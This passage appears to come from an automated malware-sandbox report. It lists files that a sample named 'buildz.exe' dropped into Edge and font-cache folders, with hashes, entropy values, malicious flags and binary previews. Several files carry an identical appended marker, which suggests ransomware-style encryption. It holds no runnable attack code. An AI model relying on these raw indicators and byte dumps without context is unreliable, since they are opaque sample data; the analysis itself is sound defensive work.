Preview:	...@..G%c...&..2.p.../\....k....b.......g.bSQ0..$.>&.>fp.T8.V.'.SZ....M.....!J....~.A<.!\|......m......h....v.?...V..-$"RC{.\).&..rJ..#~i.2...HN.V$.... ....p....A.V1...k....MF.<.hT.......\..._sw..+Oa...ZV...n..o.G...3..a......x...~.R.......j=[..w.8...l....Z...F....4....>...N...XE)...O..H0......Z\|..Q.x..+.......H.aK...b....m.'2._?......i.!"...q...E.(.}...E..i.....3..OQ.#..>.z...\|v....S..#o.........~q.iDe..)....s...SZ=....^{.u7hc?b.i.T...@..A.n..f.-.p.D.I....s..5..UH..1....G5..B.....F...&._C....:p.tFDU=...M....g[.H..t.@.Ex...V...{T.2.....]...?... A,.....Ax%...p..k..S......N..w.......K}.'.....8.f..J...N...9.-.,....S.H.......~./...#...!..kS..._(N..z...jC....../..e5Ec'=.._bf...9........'}.55....X\.~f}Y.d7JTbU.......t..&.4,-^f...D.....q.^.d..p.....7Gw..!3:f7.$..a.......,..8...hp.n..8.F.....q.v.Q.fL;gX....p.B).1.O,v..........D....=..#.......*...1zO.w...V%......a..6.......W....q,....8.L..+.. L...I..\|......B;K\|.$:$..B;..5ae..Op<.H..ov.F+..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651D23AD-F98.pma

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.518425575203424
Encrypted:	false
SSDEEP:	3072:9GXipzCvrURQHwuv9UYkhLVPEckrOEi4sGP2EF4SlML/:1JhRbu1+RHWsGuJL/
MD5:	BA83AF1B1363EAFC99C6BE4E55571ABA
SHA1:	929E6CC889EA6BC162F22361DC17DF0A95C9BBEB
SHA-256:	D6D9BAB16BCA0429F75AD446CA7A94162725D8D259DDDBF939DA8C7A4E74A35A
SHA-512:	5D90CA2713204DB7D70CBEEC3124D46AC29B6DD95AA35193BB6FAF5166C8BA229BC93E67A81486C8295C1F3B81B348CE933971AAC1FE640BACE37B4744A13884
Malicious:	false
Reputation:	unknown
Preview:	...@.&!..4L..).f...)}.1y.\|63.,....\|...t...2..s..E;......'..t..p.6O..........=.........M..t.k.....+.....D.s+.I.6..,.t.^.[....5..u.U_..U.O..G..Q....md...r..q.P.N2l...W..qZ....@...rT...:....F4..].....c.7#.+.!....-.1.&b ..S .~n........h.cN.e{..^?..C1y..E.q...wm~....-..8.0C3....~......U6....POI.m..6.<...s.k1.#y.P../.-....:U..5.=W.{..8T.j....o...., ...Wmg.....+qL...0.:.NL..!.m..f._U......%J?U)....i...a..lF....xm.ay.`....)<....H..w.<7/."H..:1.^.Q./...D.S.....T..U.(..L="..L.)%..?.0a.59B.d.l.].-.b..6".p/t..]T.z..o....8...H._..V..(=..I2..z..gRG...$..z...\.,...h.-7..~...O.......G..p...=".....bW.o..\|9..G<.U7.:..@vK...8+...e*.UQ.....m...U.a...Q.," P..R.v.`.H.....WLE..X.k.".....$..[.m ..............F>.bP.d..Y..F...[.....f...<.(..A..F..bAm...S.....S.....x..qQ.}.($....$....=.SB.a. .....\.r..J+5.3g.:Y.5.....)9..4((R..]...a).....trA.(......m>(%.....z...i.....iV........9..$..!...@U...g..]....\.:. .\|0..3d....97u...B.Dw...h...X5q.a.]............SM.6y."......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651D2470-1A5C.pma

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5183692168541847
Encrypted:	false
SSDEEP:	3072:wucyspM+XebSwyJ8IpHHuJezph9O2FZRvYOZ3+UBnJDwC/ASH+EPLqU:wtyiVq0aGphlf3rnJDV/ASH+HU
MD5:	5EE03EB7A0ED8C6828624BC768D29706
SHA1:	200D5233E49F09C3D6E3C4ACD0DB68A5B99D4AA5
SHA-256:	6C1AF2E721F3509A5730B76DDECD85F6639B23DC314D98638BFD3E90A46AEEFB
SHA-512:	341520D086192C11F79D50907020D9670106AB57C40C1A1312B266F692A2E3F35C2EC47FA9DB5E8E17028063AA731919F13BCE0FABA98176810BA621F1932A20
Malicious:	false
Reputation:	unknown
Preview:	...@.K...\.Nz. .\|..\Q>..].y..r.....oX-.....-0.....Qy .qoN..G.NL3..;..I..'.).i.v..w;.%..:....Z...x.....Jf....'...\m:...@..x..H.u.XB.@j...V..>.D..^<.[......"...h.....<.ksF....v....j..I^3.[..HJV...=..... 3m......~...g....]e......U.t[51=......b2.\|G......Z.J.N\..v.R;Y...f..../..T.8k...T...Vk.....l2jPB..e..o..j.X..m...,W.....?.....2......... ."....#.'....px<....c.Y.ai.=.US.J:....-X .Ct....<..........R...iOs....3.F.Y......9E...G.Q...H.k. ^"uj........Y+.l.Y.A.G.......O,...5.+f..r....E....:a..._..H.S5w.2..hs#M..r.#..F.).......l.R.o.............H.K..(.d.v...(.....S..........[.H..qJTc.$.g...qwE..<]"..^.b............l.:-....a..e.)...k39B..6...8.....+47.......&..X...tEC.{....b.Y..;.w.y.3...-}.CNwI..h...wp..,.5l.C%...k\...[C&>;...M.P.M)^..D6..%.;.... ..6...(...i...Nx.#...U/Ef...c...2....g....ES..J.P..<7.......N.~.......0...:..03l....Q.B...A.i........u/....../...;..1=..'...q2S.m....i._%...yB.;..7....s..M....{E..2 9.%..*.=f..R=b.,R~.pa...,..:....\..P...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651D2470-6D0.pma

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5185362899229959
Encrypted:	false
SSDEEP:	6144:AnzpIs1KjpTaO8aU3nm4+Q0qjRzwXh+qw:oNIb5aOLU3nB0kGbw
MD5:	377F0E8610C11B970B7CFD67335583BA
SHA1:	1DAC21B5D7A7400B4DCED31857CA2D48B90EC691
SHA-256:	A6327546E3A3D4AC0FA00F125EE6CF0848B776316594E22A3DDA9BB015B6C24D
SHA-512:	11BBEB117DA7939DEDB375679EAEF830622BCB9A871ECF110DA017B4F8A3D5BD8D38356B4D5AF30C06025C2DCA67AE35E5AE7C8924BD4F84A299C999502A8806
Malicious:	false
Reputation:	unknown
Preview:	...@.X#...NH..~ms...)g.L..x<..P..j;W+k....\...s..k[W~Y.G..fJ..cn..Bo..o"$.c.^.:.%....[ty..m,....S...~.~......^...a..$.+..Z.2..^h...X...Io.e..d.l[..g.O...y....g/.m.IGtR..>.).'..?.5`.....d.0..W.j0.......d+..e.}....(.^....V...$.".]..BTN.p.D`.@G.`~..p.....\....:..bV..Yv4.uA...YG..9..j.e.._A...?._....W].......;.>o.,.s......`.^..T.R. ...2@....?.........r...?O<.$P.2}...S..MUN.....M...4w...lS...~...........{..U..`d..A\|g.58.{...6.;.j.=Fc.$K.3..\.W......\.[.Z..x...'....z$...O..?l.........j.j..7.M>....g^...uO.%9.<..5..&.,.i.E....C.q.5u0..{.......z\.......h..3...9P;S....tp.........Ln.9...D..b9Q=...7#bz...d..\|..F..5.NC.KP0T'.7...drD)\U.2.9.tz.M..TZt........$.`.D}.7....j.......a.Q.i..7...p"}.i...6......m.V.-N.1j.N.....2^...;..~.]w.JS.jp..7'.>(.._.A+F1..(....,....rS.3..6...8?.x.i.tG<.?.x...._+.:....e)Z. ....'..p....NK..5..t..b....W....S..-..n...MVg./.~.y.M.........l].b_....i.\.f'\|f.+-.~...'y]..Ce..y.......\|..~.....J....7.b....Ns:5"...v.Wy...=....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651D360C-14CC.pma

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5185280141349031
Encrypted:	false
SSDEEP:	3072:kjCjOMsT8TylRgZ+xhVRfUpEtpSuIHDYndaC5esdJSPImy4cmZ96hU:sCGATylRgZ8NUpEGu8DYUC5jAPDeVq
MD5:	9E9116BB321536119160803D0DFCCB55
SHA1:	52B426A355F6E50508110A9197940F6C016E97A9
SHA-256:	BC4166BF4A8AA68F884342793CE01F45D82517C3F09BB0F0BAAB5F6451DFC08E
SHA-512:	B2FBA9E91A100F5F4DB5086FEE4D4CA89D020E8B063E4C1C15A0908756A59174DD6DC3C5FE98F45D116360256EB3C602E01960FE3E5E3F5AFDF3AF8FA2F17883
Malicious:	false
Reputation:	unknown
Preview:	...@...&.E.P.........'..L9q...0......".\|1.R.=>j..>66I.........Y......M.t...+.Fh.a..t......W.....AKW.._^I.;.v"%X.?a'i.o...Wl..$..v..k=.W.2k. 6N...+.!..g.....=3.;G..i.....=P}L.-vB....A.....w.j.W....`...,.....KP...H.N[.y)_].....AS....nV2../dQU..@..1....;$.....G..^O.p.'.t$...i....[....v..hV.K&....K.O....D.]...b,.+..N..0....v.;.1G..#..3n.PIp>..H..k..2s3Cd........pnJB.)&......8..... d..O....0a.%.i@j.@..M.f....4........A...QqU.?.@..5...j...w...x.]]....;Yl...1u..BG.....s.I....V[ .......\|......y&..^H..H.....T.+....Z/.....\..<a>u.....T%1.?...Q.....A..4.y&5g.^3.Q.>....F._;.0}.......Z...v..'~'U....4O..O.u....I..:... ; .......A.M.YJP....k=y.~...a..t...^..)J........<.b....)..!...@...$N..........\........x#..../..8.7.-4C....d......R2.......T.Jm..7a..0}f..Z.[..S.e..K#"<Za.[.{&...\|..].O.cnP..:2....=..$Op..7..(...D...sk..O.6...L.5.A;.f..D...Ez$C.......[.J.=.'..H0...i##<.h..[....R.........D.&WX...YP.hb.0...;E.;.G......*...]..#.=.Q..l...s.1).....1Q!.2..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651D360C-4B0.pma

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5185294810610271
Encrypted:	false
SSDEEP:	3072:RXjd0qAD4ha5XQ2pQB+jGGqbh4fZzKZbwdbO/l5Fc9R4vBmoRg9Vyk:70faa5A2p9C/biZab2qbDvB1g9ck
MD5:	F673FD538AA2CC4C0B4888221B2D8C19
SHA1:	12F4B27220456EEADF20FC856C8795AD8C37ED5D
SHA-256:	A6CD97640C4AB961F9E458A4C439570F945A3052EFE86D4BBEEA2CECE7100ED3
SHA-512:	BC8C54A6B99A974426FF44C90BD7823829A8AEA65726EF615799A6AB5C745AEE3E96D0F674C5D99E4FEDEF061C60E6543134C35ADCFA8EF7EFDC2A5C3712D380
Malicious:	false
Reputation:	unknown
Preview:	...@........h.i.....#...y..A...".....yo.NO[m.P#.>$.@.....'.g.,.&...f..b......r.x.....?.l..x...x.la.. ...YM..?..gLza0........3s.....i...H...l.,...2!...+8...qEJ....4...2..}>.lh..u5Q;...JL[.+X.W.h...&\|!.....M.r.#.....A(....&._M..9o./N....;.u.kO..t..8...N$E....c..........m.9.....6)..S.F+>...ae.....s.BW.3+l..<.?1...U.1I-z...';Ah..2..0J.b.o.g..:S.Q..)...$N....(..bld....Z.I...0...<>=6i.U...#!Zj..F..Z....UFk...E..P~g.W.L.#Y.x..p.cD..........k.(...d..j..rm..&......V....}..O.f..?..A..i...1...P.,N.+v}..1...e`p.9..P..&CH.;.pe..^G3...L..?..aV.........v1..s`.1.....:......L.\....=.. ._...&..0{{.7..].V.N.M..o.....j....N3.O{.g...t..g..:\|(.n.`W....t{.....}...bx>Fz.Y1.[.yv..mU.....1[....5...Q.......Q. .#gT..BI.tf...........S..F.(..>.{&..U-Z8r.@..>#.d.d.....qF..`bb..u.>....^.N!.E.?..9..~L......x8h.\V.pYs.D.PB..S.A.m~=..jd..V...T&..(X".4U.]..Rg.\.......m.=n&<.........5..dL[ h.9.........W.0hSh(u%b.._..C)...a....{).9Q.....E..S{.iq.n....]P..... ' ..i..._..9...@C

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651D4408-10AC.pma

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5183827950492361
Encrypted:	false
SSDEEP:	3072:dwtIyKSVzSy2rbgBjJ8+QiPtCRwP8NbvU+MXUYXR2OTMZoMwBK:gIvKSjgBjlQwYRO8Vs9JdT42BK
MD5:	81190BCC734999EF7363A926A81127D1
SHA1:	0C8BF5C036580FED343391DE3DE7A9DC3C24A90E
SHA-256:	6783BE5D9BA01892DBFCE6A492A1A9393FC5837E1BB6699E5C6E33A8A1E798B2
SHA-512:	EED5BEB34294106F164E671D0F836720571E02A536F576297EDE35CBF2E91160F2D8DB72B360952726DDAC59AE6A38213D8D45CAF234FD0ED5A750889AD0E6FF
Malicious:	false
Reputation:	unknown
Preview:	...@...\.t.^...VN..2...w........o...1.v...a..O.=.ty....3.2..Kf..:.5.:K.9...R.a.k^.AT.....=TN..r}....,..iw..}......5.d7....9a.~.S.[8......H...,...`G.I.e....e...r'4....1....;^...a.x..[.QC(...;..2. k..t.r.).......aK..e..:....Ak..M........GAh...:.....E.h..if[.8.F4.......f{r}...utrn..9.......o.V.......>$R......].S.)..C..yz....?4]J..E...:t{...O..E.3'N..._l..O...C...D..z.........F..EV,.&.....+..be....F.S...h.@/....~.M..9. ..]...x....m=..../...}..~.......[..i.........(..q9b. ,.>...i..y.."".7..$.pR....ae0...0.2..:[....n....?R~..q.K.....^.D.[.....Y..Y.%...._..d..rZ.m...C..\|...........>>VL........q....8..<].C..B..0%..tC..H...\|..$%y.....,....:.ph...y..gJ.....#.".....M.%......r.GU$..j3.......<..p.......T..A$.n7Pt.Jn.......5.gz.%d..$.l.......,....;P.....~.S'K.fg@..AB.EVD1\|....i..x.......m(...z...#..9A.........E...5.0am..qa+u.x}'..?......f.ZNS......i.4...&Hl.L.y.).OS@..e/..V2V.E[.\|V.A.....Gq;..F.......n.H{....Rs........!.V...4.........2. .T.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651D4408-19A8.pma

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5185903911950478
Encrypted:	false
SSDEEP:	6144:cNPdxt4jA4nTlTOhsxOOp6jpl4TK5CEuG:yPdz4M4TlyhsNEtH5MG
MD5:	E4D1BA9050E54DDD756BE1A61CDFE4F6
SHA1:	34B5EC0832886BF327DD6F2FE2D7AC7457C9A09B
SHA-256:	54945F2E0D178E4B92B69507AA0EBD8AB2090538DA602D5153410C8091DA0873
SHA-512:	6D5179C738D4DDF9CD280E1309928F75A02920DCEDA6F5E174B63543CB3B9EBFC810799C9347CD120D830DBEC62FDE8AFB5682E9CB0417C04E87B3C96B7AA8BC
Malicious:	false
Reputation:	unknown
Preview:	...@...j.v..7..)......j.hyM>...j...G.s^.Z.......V.j.S...0,.....c.PKQeU..8...l.7.h.').L.....^..[sZ.N.B...if7....A.....v\.\...V...m....V..)...?2..T.................?&...<....1.],._....Z.T..e....L.R./M}S.AoT.t.WU._J<q...W.W..O.w.M.O....J.Y....<Fk..%....[.... r...3r.p.H.f..D..(...C..E...rGy.z..{...[..>../...x)....B.,Z..X.....O..>...9?...G[.fW.B... q8r..Z6...SW.....,..../M.}.,..yF.KG.^)0.Hl..%pm.)..J./...1K.S0v.\...}..r..R[.....Q.s...?.\|.D.4...nm.m.~&.:\Su.Nc._.Y.y.:8E.....&.D...r...]5..8...p'A,...Z.....;4..I......\|&..TEq.Hf}k.i.8.7.;.....x#..L...]..G...r....%.\|.O"S29..GAAcu.9.Nq.H.{....'ge.A..0..2.........e.Ep.5..i\....'..#..^>..{T..T..d..s..7..n.......5Z<.\........55%..T.........G.JKX.x..E.Gh.....$HN....[r.J?`J..;4..q.d...[...Nt.U.......yTe.j.(K...m..FP..g....{...&."./rM...:.#[n.........$...J.i..*42]7Y..$Fe...H...}4..t..o...2('#..u..^.Z..k.\|..W....]...j...^.@.V...vG0....y.. ..L_....%.........T...........B.8j..bU.+hw\A.m...sE.K..x.4...g.QT.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651D461F-1340.pma

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5183903200771713
Encrypted:	false
SSDEEP:	3072:Ns7n0QnxE16vO93T7+R66ZQXrh+Q4xK2/Ux7nr1A2uvPzCAYiZ:Gvna3TAQbex0xn1NEP2iZ
MD5:	EB9B7862BE4FBDF26A682AA51EF968FB
SHA1:	184815F142C2E6C25D75F6005E3A8B0DAC91EDAF
SHA-256:	067CEA074E60E763D05A444ACF73F6A8E3FFD0211EE490B7F79C2439FE15DC30
SHA-512:	406CAFDA7BAA8F2BC351824FD0B2BA843EB7565FDB406D5652F49A00BCA2307F8026B02314DB16CCA167742E726984CDCDBC25D2764EE7B3912494D56DF3C5D6
Malicious:	false
Reputation:	unknown
Preview:	...@.e....w.Iy....N.d...I.}.....3.x.t.........~.bs.w..G{..$..'...\|..FP..<7.. .C...W.......H.qe..)`...c..]A...................uTE...o......=&..V.W..E..IB<\.{.>.^..E..>.c...j..{;........Z.1{..M.\|..Y.s.8=d.ze......M....^......N!.h..)......d.\.e....Xg.50..C.H.........H.._x..Vh....I..A..L2..#....DU..!?.(..U..D.... x^.u. ..h/D.W/.N.K.!.-.N.4a#UWx....(.s.......9.xyp.9.....2"@..R=~U4........n.5....Qhgp.}.c\| 4...9.o..C..../3@i.4&.e._.K.'......TIa.T....9 .G....V..y.C.!.._G.q8. ."c.z._.x..R...........f."....BY..'..f..^{...,/..T.@.Uh......".#......;.."...~.......&VeJ;+..._...Z?....%p.....6..O.N3...\(..<$.......E.2..e.....j..0...i.ds....h.........%[..H..f.H..h_....G.....<....=...b.E!.)\|.e...Z.]..5.2.{....R?S;..&%..<...SC..h..wW`.9:2..t......i.#....Z.pr...a..>y7]..m..3.p........1~.T.T...S...v.Iy.b...L+F0..O^.......<e.=.u.....;.....v[...goy..].......o.>.....$8V.M..f3........x@...D.Y........J.....LR..5.W57.2.........D..Il..$.....?[H..D....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-651D5430-178C.pma

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5185274304619302
Encrypted:	false
SSDEEP:	3072:D2suaL8y7G2aveDUjgfCeBW/qd3MycepJSh+6X9hin4uOtQNxRCy:D2svL8uJaveigaKd3U0J/6XLfmNxwy
MD5:	A87461C74A2E7BA9170C035FFB13F126
SHA1:	B3D067883D37D4CCBB77D004BA89ECEE8DA154CD
SHA-256:	5FBE7F7ACAA0CF834572D789285C20B3FAE73CFCB6802CD3C5C8EE1A1878976F
SHA-512:	18A81570E67A956E113E70E67EB55E6C304D703236E25815EC30A804D06EDF611D37474D56260B5DA8291A41493DA9B14521B6B7337B18D786D8E5D43C637D81
Malicious:	false
Reputation:	unknown
Preview:	...@.0..%...F.......2Tv.M.....\|...h./...q.;...;...9..V,..d.Y~.vC.\.V4...B..dn......s../....}..ZfI....1....p..u..J..$\..U)\.m.dS4....p....0......z..609.n...n.t.h..E..n.?..%y.,.3y\...1.>%P.$.........]....U9F[#V...2=..\|....cs/..f...cK;..iW.d..u....{Y.lTy<.lTj,.. .j\W.;....)...VL..7).")......^...?..;..).Z"y...<[.m.\|.$~.#r...t,..8...z...c..}.....~..P.....c-......5K.{O.......Lb."..._.^.o/U....T.q./.O...4)...7.K7.)..C..K.5;'...u....S.5.P....L3d.#.=...l}R..I..>.....ViS.6-uv...dJ.j\|.W9g^r...7..c..w[...!.J...X..i...\|....\t....4x...M...A..J..O..Cf.........^5..V[........X\9..n.q.?vKP.xD.P..(.r.._L&n..nO..Z.z.......f..x.C@...<..r=vw.:.P.w.c[P..P........sn..N2.\..S!E.\|Y....9<..B.j%.a.4...\.}.......y....q#[..........E...{.$...u....Q....K.......&.5._.....nr...k%.! .7.B.h....X.....h.._H.R=D.u.[..t.j{K..m?d..2v+DL....S......i,n....d...M.,.#x.>.'..;[-.0.4.v...D...R.K.5'.d../.m...G..j.......f....o.....b~...%-$e...Q..T........a.p.x....s..J....R.H

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	614
Entropy (8bit):	7.640998286014844
Encrypted:	false
SSDEEP:	12:P+Y6Tka0NfTFLM2bcNOKX1+cTv6tDpvBjlNzz0BosAE1+cii9a:Gzga0tm2bEOkRTGpvBjbzxsAfbD
MD5:	C4216CA1965556120880F1EB898D9149
SHA1:	DB6CC6C2AEDBDCB2BAE931E13516428FB485295D
SHA-256:	BA3F620CAEE96C92A5FABFAB08E5A4F7DBE029AF34E281654721697992F1CA16
SHA-512:	1CECEFA686E93357965D2AEEFB0FA0405E6EEA0B25F6D98CE02235EFA8F0D05AE6D035B4B3FC9A371AB38B4EA12A0FBCB9DB7005171D6C8E72A956C83851486A
Malicious:	false
Reputation:	unknown
Preview:	sdPC.b.53.Q....@...3..S..\WS..6..~.<x59:O..e...&"..s..Lf....Z.G.G..3..w...]"..Y.P..=.._+....J"..."..T.,...bd....i..^...+U....h.....:..5...g..E<..huu.h.E.I.2.>.V..v.A.....K3..`.o..N....,.t.(R......%........J..s..C.N..^..>..Iu4).g.4.}Q..C....-..7E:....)K.....Y+..4.+L.. .k........?...,...k0V.../[y..(..,...........y...M..q.<..;\|........v.llh....7A.y.$o..m.....W..??.k9?....k$3.....0......8..7.s.9D...[F<...i.j...j!eY....<....F.....%....LL...K#..:....6d.^.q...D....<..~....FP..F.nX.......$TY...T..E...\2..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\throttle_store.dat

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	354
Entropy (8bit):	7.364058297484741
Encrypted:	false
SSDEEP:	6:8AUaeIk8LtJ9uRLEgLlm4z84x42oucwDvxGbKgcsT10sD3kIWyc3cii96Z:RaIk8L32E74y2zcTugcY3kI1+cii9a
MD5:	08C4FD4B1B090B9B9FD664D3691DC461
SHA1:	B6BC361EC542428DDDA88F3AD29E5AEF4BEE6ED3
SHA-256:	063C8268FDDAC0D7EDC3CE886370F35EA12B548FE3AF34E8860B5F46F7DED938
SHA-512:	EA1C64F8ABFCF20B889D106189672C5B7FCE0EFEE7E6B08742EBA802B01A8750EA43D9494AD312EBA56697B754DB7A9834A55E9BC89863AF3B013F8B8822EB23
Malicious:	false
Reputation:	unknown
Preview:	level.)...:..vI$DG:D...+.H.......D..R.....0.._b......l.e../6..4..A..^j.q......N3.@..]G..iN5..?...Q..2..K.X.....d{/]...n.=.X..Q;cfx#).{.z/r.k..F}.?.\|.\|......=e.N.dPz+.Qy...u.~X...5Ke...#..v.{..[.g.S....&.Vc...!.q.....:.n.JE+.s...H..W..m.9..<.vc.m..MO. ...5!.....oSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	72091
Entropy (8bit):	7.997424465897566
Encrypted:	true
SSDEEP:	1536:3y+gdKLPIW8j7A7t3e9MLjlSNeI327KAq7T1NgOBzMhf:CDdKLU7AUMNv37K/fgOU
MD5:	93BB7AC2952E726ED5562C1EE6CF3405
SHA1:	99A60532D0703261C16E2153300C5CA5542DD0BA
SHA-256:	8A5590FCA375DB717039829DB46DBC27D12500130294A9706BA39E6338196E66
SHA-512:	8DE2B218DFED379A4924574EE2FA837EAE39E66A61D3412015C630A6FFB3972EF1055B6E3D4C329948ACEE62FC1C6A57A0437D28B20946A8D3C0AD36EF81DFA0
Malicious:	true
Reputation:	unknown
Preview:	......&.i...A.oRXW.#..)....v-.}%T$.R....l..c~".. ...}P5fg.p..t. E..u ....h#.)..y.). C..+.L.y.@q...}Z.PG:.]J......[&.xc.... ST.U..\|y..s}..Y.sGH`.....2E.A?.......\|l.-..m.5.X...........Uv1\..7....Zmv..S~.e.g3%......0.yV...8T..]..n.!.......G..'H.0..._.......'}..r./.w...T.~2..`0..W...`....[/...s...W..x<d.........y....E..g...U?....Y.tj......x.aF..W....[3.G.....+V..=n.$....Bc.......ki0....]D..b(...H.@...PH.G...2.....;+.u......T..[./..ecH..O....iLC...(.-....\|.M9_.<..=....'GV.A.C.Cs..@.8T.0.i..U.[..aC@.. .g.....XQD....s.w./..A..Fca![..&k.. ..q;.iV~oX.(k...U..}1.Q.0tx.]......k...Z9<&.v+~.@..C.B..P%.L..K.Z^....j.wO.......Q.u...t.PM.D.2R.IZ... .........841!I.>.\|.G}...}?S.2...:..?t9..3.e......-6 ....2.[..$...y..$......D.>+..8.o.F}....[..8U....iE@.R...W..?.....i(Kr.../Ad..j(.~k.C.....i..a={......;.b....JKM...zA..`.\|.D]7...2....$..)....P.d.VT.s..C....A.\|vP."s.$.'.....*.5..i..u..O.0...- .....j.gr..lC........r.!g........,.^..SK7T.l...hT...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	395
Entropy (8bit):	7.4397107039558525
Encrypted:	false
SSDEEP:	12:S99wxPq8uhHWOyqxRZOMbEnteMTYrHS1+cii9a:nZqp9VR55bD
MD5:	C93E052C6332E9239F84DAECC50D0441
SHA1:	FA01CFB4BB12B7C6E3B412C1BD4F1CA337CD71CC
SHA-256:	F0DD4F4EFB63682F5FDCCB0F8F5C1FFDF222732378AA7E006338C5F8C4465C84
SHA-512:	77B76D55CFDE1B316CC78F9A22244E400848679057FBD5431CCD517246EA573E66DD88391CCD6082A1CF81361C780A276C3656115E16649497D29A098701FAF1
Malicious:	false
Reputation:	unknown
Preview:	...#.&No.aR...A...H%._m^....\fp2.......b,.N.UX....R.r.$..j?.'T...!..72.z...f.....Q;z...8..P&B....@>.a0.\|g..ZJx..Z......./....v0....$5.KdX.<d..^..h(...N_.!4.L?......BY....R.^.?.....T....^....+...)c.)=w~...a.......6.>,6....5..Mg.s>.?1.....oRh......j.1.Fv../.y...Q.L=.l....*L..}"..,..g.S.V......k..t.2....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	45390
Entropy (8bit):	7.995657459218348
Encrypted:	true
SSDEEP:	768:zd50LaGw315oe6Au4xhktLRHM2zB5Oa35MsceyxpzJPmpe9hi/oBfOPW0emSjt2h:X0zwF+viWLNM2zB5hEeo1JXDi/otOPWE
MD5:	4621EEB8D54EED973BC2B6BA4AB496AE
SHA1:	59692D349AA619E7B483D9C34A188724D40A2D3C
SHA-256:	BFA182156D30D1D435C36EF04D9017DA61B7982080ED0A7B412D4E6AF6D35008
SHA-512:	DCF5EF2F5040F60E55E3324651BFCCB6F20979AA24AC728BFF986D99561C7DE2EAD277A5AAC335F13188CA4155A2CA514FA1900C1F784C2E0384ECD228B9EC8B
Malicious:	true
Reputation:	unknown
Preview:	SQLit..........B5pD...T......b}.`.u..h\6.X.....q....S_.G...y..V[..].&.....FzCJN..J...........vg...l:.-.VY.{F....rZ9X......yO._{&.PKm..+...8.\|-.....Rl].v..\.2{..E....r..}g....6........N.xY!...{n..A.j......v.Ly....7.......C{.)..6.iv....TT.......[. 2...O.....)!...ah]C(.X\|..sG.o..B.....GO....C.P..Ky`..P..t......d......2.?..2dk.."..k.q.zyd...3..r..I.uG....e\..[.0 C%%N..n~...~GO.Yx.......g\80.....<%...[HF.....(L.{..&(X..}.\ Y.\!..R.+r_..@..Se..<b.m.....4.......i(;.X=.G.ct..(66.....N..N..V\|...=.Is...,w.%.$8..K...l..;..\.4...mS.v./......2.C;mL.=..=...8..`x......{c@...(5........M.y..bU..a.o..5.=...4...n....-5."....u..X.$...a..j+.jv.....4g!E9.-..>...V.Z..P:..W.OF>.?......v.%.zc=.D..x....u..7B..i.E.+:&.P.0:...E..S..].c.'(.Y...M?Qx..@.(...D-5u.M..U..0...0s...9..";.w...J.-..4...@...ra.c..`dY/].t=.u]nPjHN..h}.^......-..$....}p..B.4.....k.Vo...y..L..R.[.'.'?_.yg.B[..8$...o...........S.T.....'...e..()1j...7.m._.mFg....<keK...O>f..1W..T.

C:\Users\user\AppData\Local\Microsoft\FontCache\4\Catalog\ListAll.Json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	503292
Entropy (8bit):	6.447176460489058
Encrypted:	false
SSDEEP:	6144:nr+6beTQRpw0X/oTTx9epjMVwt6J+6f2n:rccRzoTgzt6J+6fi
MD5:	63D7EF935BF0A18EDC0ACE7E7BBABCCD
SHA1:	CBABE89D4CFE42E7B181F73CE0F98C5291DE9B1E
